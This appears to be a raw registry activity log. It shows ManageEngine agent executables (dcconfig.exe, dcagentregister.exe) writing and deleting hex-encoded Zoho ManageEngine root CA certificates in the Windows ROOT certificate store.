7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 1900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a3030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a370f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed812000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a37140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a32000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a7140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 190000000100000010000000abab88db3467ca42cc505b3ec615b801140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a70f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 190000000100000010000000abab88db3467ca42cc505b3ec615b8010f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a7140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcagentregister.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37 dcconfig.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a3030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 6b000000010000002000000080fe6bf607a9da3e711406394cb12c8fe21caf7e56a9a1e4cec08faca9c092030f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a37140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a31900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b2000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bc